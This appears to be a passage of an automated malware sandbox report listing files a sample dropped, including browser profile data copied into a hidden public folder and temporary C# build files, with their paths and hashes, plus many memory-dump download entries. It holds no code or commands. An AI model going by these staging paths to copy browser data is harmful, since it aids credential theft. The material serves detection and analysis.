Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 fa8d846cb4b9be04d0ea7032f95001727942fd6421bb01e28feb21d0d459ffab
MD5 e16a18762e48bd8513d17a11f0f9c04c
SHA1 5bbd0fd8d7cb481f28f5597290041d07327771cd
SHA512 4a92c141229d0c13ca0d73870b0ff1dc1ea8ce4fab6ac1826e7d7e9a70c386d42b681bc546adab19e502cf519116521f151f78a6c68719a57be452ea4d3671a1
SSDEEP 192:j+5Ov5zbo8WNH1yjtLvr1d66JoztdzgCl6mBM2:Zbo8WNVyjbd66Joz/zgC1O
TLSH
T1D9D11064EA28873FC458427BCCB51B410F3A395ADC4E7F1A319C64182D572EE3A9D1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 5f0335eef4bda7f58314608677e4d174cf77a9932077cf06e1c876b5bd504647
MD5 9356a5928e1e8f768db9376aa5ab2f3f
SHA1 a949b32ff3bae6eda55aa1e4067b7d6178a5a97a
SHA512 d1f8bb159e75360889d5f5c2fc50c2f474836dc3757a8d08ff63bf172fd5a22a365c4b66978645f23bdcf602ecf38020c6fa416bd5b646783b9a82dcec15bfa7
SSDEEP 192:r1d66JoztdzgCl6mBM2m+5Ov5zbo8WNH1yjtLv:pd66Joz/zgC1O9bo8WNVyj
TLSH
T123D11064EA28873FC458427BCCB51B410F3A395ADC4E7F1A319C64182D572EE3A9D1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 154bfe55393c4898a474913953890422ef43fedec4490f38be0792334c52e632
MD5 72e7601dbfd993690f3dee9765111f04
SHA1 00d8e0d0092f906369e63a7b8c7d8a0a5e84aece
SHA512 5b0448257cd7b85aa49638f4a35d053986fbe9f956e1e51d6ca3cf8049df891153520bf7cceea27ca6cf3032e21e410f804d07192e5cce07edd3bb21e0927c95
SSDEEP 192:r1d66JoztdzgCl6mBM2++5Ov5zbo9sNH1yjtLvl:pd66Joz/zgC1O/bo9sNVyjT
TLSH
T1F7E10F64EA28873FC018427BCCB51B410F3A399AD84E2F19319C641C2D572DE3A9E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Public\.ff_tmp\datareporting\glean\events\events
Size 2KB
SHA256 12aa0337b2fa7e8c24fa21eaca9fa0963d29fec8b6cea1e92a0b9335bbbfe80b
MD5 8a0e2669f63b29b00479a99aca4b254e
SHA1 cdb72ce44450a11d95a9c4cabca8a08b75d20477
SHA512 94047d20325cc133140bab4c71e6d123c6b1faa18d8b4534675bdae80ff9e947cd95573d575acfcd3a17549c0dc3f683497a12f65567eee6ece5ba891cbcb858
TLSH
T1F441CB1E3BA1CDB5EDC7F29C1490934BA7798A5B92032E832D21EBC9C8816D5325587C
MD5 SHA1 SHA512 TLSH

Submit Download

13ef9530-a656-47c3-8d5b-c770b3f41c70

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\13ef9530-a656-47c3-8d5b-c770b3f41c70
Size 796B
SHA256 3307281a7726b7788133841abf4b0e8c6a60bc863195b908e961fc6fbe327de9
MD5 c1caca39379086a852873edc4ba03b67
SHA1 daf8ca7d9bc46e85663b025c3ce81d849d8d70a7
SHA512 ffd08313f1699a4f6b4fb39014bc45881c0854d28fa72c452a5cd2747541cd25cc2ecd7d9b16456a13f75e57a54fb8aa240b99b2f7832a1c3aac44b3ab158409
TLSH
T127014641A639B5B3CD3CD14ACAB13B8447E87423C0CA49047E509E144EBA21E5BB6747
MD5 SHA1 SHA512 TLSH

Submit Download

1f40a5b2-0f34-43ac-8fbf-212c1b4ff64e

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\1f40a5b2-0f34-43ac-8fbf-212c1b4ff64e
Size 235B
SHA256 cbaf69447de8205b881a6febc3e7cda5ab51f032d08c6d89b6370ba458ef53c1
MD5 295dfcfe24dfb18ab4c9ddf9f0d9f951
SHA1 2909e3b2a797182ca9077fe1863680b478004b84
SHA512 2e32fcc0852e9a6ac215894caa5f9d01268facec5479ce14ea9be8aafaf292b970f25b9061f1e652d05ddf58ec2d2a4bd45c3389063894154255d8f0e5fdea58
TLSH
T1B5D097803888B76E08145F06F0E02DCB30488C3324B6E850EEA194788ABDDC98191807
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 909B
SHA256 4d0b10e09c5b7d61cac12974f319a3acc8a8863f3ccbecaf0b87efe0fd93a9be
MD5 76b00b6740eeba463eba0136dc188ea9
SHA1 1092f9c1cb1b1dbd7417571278807917244e1d7d
SHA512 d5041ec9b9d75b4869a9b8635afac588129b70bc4d2b9a06aed993eb1f0f6892bc54a87af7e9ba53c6aa06ad1408de6343a790e6862895e8cbb5db3a28d82774
TLSH
T18B119CAA5E488FBFA1F535A8EC584391E2624136B5BF684125F8C0890225F3402F69E7
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 5KB
SHA256 69f1d2a129eddc7686885001140ac5f2d38335f3d87958f72ebb6ce57383cca3
MD5 429132f184e5915c39f49e2cb8c08d83
SHA1 295d63375baa3786f6ce8c3c3acc313813e4f4f4
SHA512 19decfd5d46c90482fc032857654640c9de600ff00335f8578b1774ba8f3ec62db61a42c76c78b4d15ab5142307aa885f4dbb192249cd13ba26cffe81c186b61
SSDEEP 96:xHY+BqGq2dezv16ElU9hnvgRH5w2T2XBw8hGcnt:itR2da6E/95w2ToBw8h7
TLSH
T110B10F785148CB7F75B6776CAC688831AEB2017B76BF28C610F54484051CF3842F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 2KB
SHA256 adc1100c59efb279c8d2a9a18ff3d87dbb2b62be54696786acb311417f1b15b8
MD5 33b071951f074e0b6fd777b972501aab
SHA1 881821eefad739d65d7801378b3fc038d4fa9502
SHA512 be68d78d84c2e4c67aceb8f86cdce596e0c41bdbf2dbae82afef5cd3d5078d7432aec8186cc76f6b2f4a910ee0137dcc57d2e10e5b30582f0e2c01f93161d814
TLSH
T1EA51EDB955088F6FA4F973ACFC284561EEB2417BB67F288210E89085450CF3852F69E7
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 9a8d33c3ae4637fffcb97b563a161216d0d9e64d398d71cddd45081886019832
MD5 8ce7a5bfc96ea22f9baeed1f46c47154
SHA1 1b7a3e968c4a2ee553cb38c20f506e3954d225c0
SHA512 4a874bcad4cde95bf775e8d010405114423fdfdddb37c4db4a8fddd49d99766593e3f4cd5dc54d642cb73b84eeff0078911e30c000c8a773a380fee6da46a80c
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0i123Cfi2f6E2A/2g42cRCH2QS7mh9:Oa16S6CdFAWz14CfiaR/skQ7
TLSH
T10423318D3A33AD50CB29F0BC639105AA944F72DD0030278865D6CF9C845A1ABEE5FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0bv4ynmg.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\0bv4ynmg\0bv4ynmg.0.cs
Size 224B
SHA256 b59d0d5605f676222f00c1b940c6f01b69ee78d5b562094247cc681bad13b135
MD5 ebddd4574eeb83b8d45984a8f616b1cb
SHA1 44282b278b52094bf41799c4a3458de049be9bd8
SHA512 473f18127cc48d35bc35e46047f6b08b8a7eed28cf3eee2696dbff9bbca5d852a64d02afb59839924436b5c966b55746416cb8d81b261380375d04d9e6ad0ca6
TLSH
T12ED02344116491151DC74049D5D88427F226C03033D83F31CDBFDE51CD7084582780CF
MD5 SHA1 SHA512 TLSH

Submit Download

0bv4ynmg.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\0bv4ynmg\0bv4ynmg.cmdline
Size 369B
SHA256 960bd1d16acb4be883a60257cf60169839476de57994a975581e78b268820686
MD5 4f519094269aa95ce15b9e397c98757b
SHA1 cb199d85fa1a9305a6a5b9a227bc59416f6956ca
SHA512 af4929668db870078295162b44502a85a6b73da8b4916250a9539a953e90e8a664308b9443692f236ca23fbcc16ef0be0a1be46688e151514bf16c18a249c4a6
TLSH
T1A7E0C02B824AC6BF01DD1A472179D4ACC37307C36A403F8CD044441DD01F050A7D1F43
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2E56BA35556144D8BD14F2A1294BD2A5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\0bv4ynmg\CSC2E56BA35556144D8BD14F2A1294BD2A5.TMP
Size 652B
SHA256 86b09d99ac9fc89b1fcc5f3fbf6dea1595603dd405f9c35ae2789c03b3a27162
MD5 7f063ef055d4de7a74329905a8f7c684
SHA1 27f0c56f40da64255ad6ef715c364af08c9fe253
SHA512 fcdeb8a39cf5655b3664bf01d7a7c6952a5c5a66fa48a02639565e6c751fcdf740c6dd3680dfc95b8fce0b76bd725c37c1589479094dfddd0efa2a1e30a4d2ca
TLSH
T1CFF05E0A63F8020EF0F34B71BDF693A391A8BC64DE3293ED1540131928645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSCC70F84396CCC4A0FA33523C6BAA3AD4.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\sk4cusk0\CSCC70F84396CCC4A0FA33523C6BAA3AD4.TMP
Size 652B
SHA256 8bfa525d73930cd0cec502ce727ded66f83d036d0971bb44c27da7ea5d24080e
MD5 b0b86a12011643d35b182eb422a91630
SHA1 77c2dda70ad5071157171947a916e5f53b319eb4
SHA512 240adba8ae6d4e3cf10a3fcb43e7d3f6e051da2b4db35b9f7c4e340cf59deca39cf49ecf8e33b5fd2df5dbd4a08af5acac62e764e3d0ef083b6aa136d1fa1294
TLSH
T15BF03A09A3F8120AF4F74B31BDF6436395A9BCA5DE3293ED644003192C64920D9B2FB6
MD5 SHA1 SHA512 TLSH

Submit Download

sk4cusk0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\sk4cusk0\sk4cusk0.0.cs
Size 222B
SHA256 e07808a347b5d77b462950e43adcd8098152f82269c2619e32b9fea2cbc9029a
MD5 e0c4bb3f381b58920cb33d14e4f9ac40
SHA1 3cfd9831d1c6d7164674afc741658db3c9128943
SHA512 6b25859af3a423a95db4b13bd455a4f499a0f85f91bc1d431ba6a2e4e917982a755b25901f538e5da75e96502f231db4e07382c39758e9831955ba797dc8c9e1
TLSH
T1BDD0A744525481156886440055C85436E525C02032D53631C6BFD951CD7040992784CF
MD5 SHA1 SHA512 TLSH

Submit Download

sk4cusk0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\sk4cusk0\sk4cusk0.cmdline
Size 369B
SHA256 eb87c6b0bf391a1203f3f1ceae41df5c11fb477ae4c9ec9bd7dc12c371aff300
MD5 839894a312f6e8359f16880af23245d9
SHA1 f0af280fdc9e89c7e0ca37ceb06ba07a3567259d
SHA512 4c096a2b0b0cffcb93c2a188df6b5301401abc398d0843df125a9ebceed909b7d718bc217418e7e9dd1d7a8179fb88039247ca01eda7300fe32db6ec2ba294ad
TLSH
T1F7E0682AA386C67F51D9141F31ABC4ACC2720B4F29417F885051C80FF01B81037D1761
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1788-4124-0x00007FFBC56C0000-0x00007FFBC5923000-memory.dmp

Download

memory/2740-3506-0x0000000000EA0000-0x0000000000EA3000-memory.dmp

Download

memory/2740-3513-0x0000000003270000-0x0000000003842000-memory.dmp

Download

memory/2740-3512-0x0000000003270000-0x0000000003842000-memory.dmp

Download

memory/2740-3511-0x0000000003270000-0x0000000003842000-memory.dmp

Download

memory/2740-3507-0x0000000003270000-0x0000000003842000-memory.dmp

Download

memory/2800-4568-0x0000023FEBA50000-0x0000023FEBA51000-memory.dmp

Download

memory/2800-3212-0x00007FFBC56C0000-0x00007FFBC5923000-memory.dmp

Download

memory/3176-12-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-16-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-55-0x00000153D2F70000-0x00000153D3022000-memory.dmp

Download

memory/3176-54-0x00000153D2F50000-0x00000153D2F6E000-memory.dmp

Download

memory/3176-47-0x00000153D2F00000-0x00000153D2F08000-memory.dmp

Download

memory/3176-57-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-85-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-36-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-86-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-0-0x00007FFBA290F000-0x00007FFBA2910000-memory.dmp

Download

memory/3176-33-0x00000153BA4D0000-0x00000153BA4D8000-memory.dmp

Download

memory/3176-58-0x00000153D31B0000-0x00000153D31CE000-memory.dmp

Download

memory/3176-59-0x00000153D3190000-0x00000153D319A000-memory.dmp

Download

memory/3176-23-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-19-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-18-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-17-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-56-0x00000153D3030000-0x00000153D303A000-memory.dmp

Download

memory/3176-15-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-14-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-13-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-197-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-11-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-10-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-63-0x00000153D31E0000-0x00000153D31EA000-memory.dmp

Download

memory/3176-9-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-7-0x00007FFBA2780000-0x00007FFBA3124000-memory.dmp

Download

memory/3176-6-0x00000153D2B90000-0x00000153D2BB2000-memory.dmp

Download

memory/3176-62-0x00000153D31D0000-0x00000153D31D6000-memory.dmp

Download

memory/3176-61-0x00000153D31A0000-0x00000153D31A8000-memory.dmp

Download

memory/3176-60-0x00000153D31F0000-0x00000153D320C000-memory.dmp

Download

memory/3204-4572-0x0000000000400000-0x000000000046C000-memory.dmp

Download

memory/3204-4569-0x0000000000400000-0x000000000046C000-memory.dmp

Download

memory/5176-66-0x0000000005B90000-0x0000000005BB2000-memory.dmp

Download

memory/5176-67-0x00000000062B0000-0x0000000006316000-memory.dmp

Download

memory/5176-83-0x0000000008110000-0x0000000008132000-memory.dmp

Download

memory/5176-82-0x0000000008180000-0x0000000008216000-memory.dmp

Download

memory/5176-80-0x0000000008960000-0x0000000008B22000-memory.dmp

Download

memory/5176-79-0x0000000006EE0000-0x0000000006EFA000-memory.dmp

Download

memory/5176-78-0x00000000082E0000-0x000000000895C000-memory.dmp

Download

memory/5176-77-0x00000000069B0000-0x00000000069FC000-memory.dmp

Download

memory/5176-64-0x00000000034B0000-0x00000000034E6000-memory.dmp

Download

memory/5176-65-0x0000000005BF0000-0x000000000623A000-memory.dmp

Download

memory/5176-84-0x000000000C0F0000-0x000000000C6AA000-memory.dmp

Download

memory/5176-68-0x0000000006320000-0x0000000006386000-memory.dmp

Download

memory/5176-75-0x0000000006480000-0x00000000067DB000-memory.dmp

Download

memory/5176-76-0x0000000006960000-0x000000000697E000-memory.dmp

Download

memory/5316-4573-0x0000000140000000-0x0000000140016000-memory.dmp

Download

memory/5316-4574-0x0000000140000000-0x0000000140016000-memory.dmp

Download

memory/5428-1993-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-94-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1924-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1925-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1927-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1930-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1933-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1937-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1936-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1940-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1941-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1945-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1947-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1949-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-1951-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-88-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2028-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2060-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2102-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2207-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2206-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2233-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2266-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-87-0x0000000000BB0000-0x0000000000BF8000-memory.dmp

Download

memory/5428-90-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-125-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-131-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2303-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-2436-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3514-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3862-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3864-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3867-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3873-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3875-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-3876-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-132-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4551-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4553-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4559-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4556-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4557-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-4566-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-173-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-174-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-578-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-577-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download

memory/5428-579-0x0000000002B40000-0x0000000002C14000-memory.dmp

Download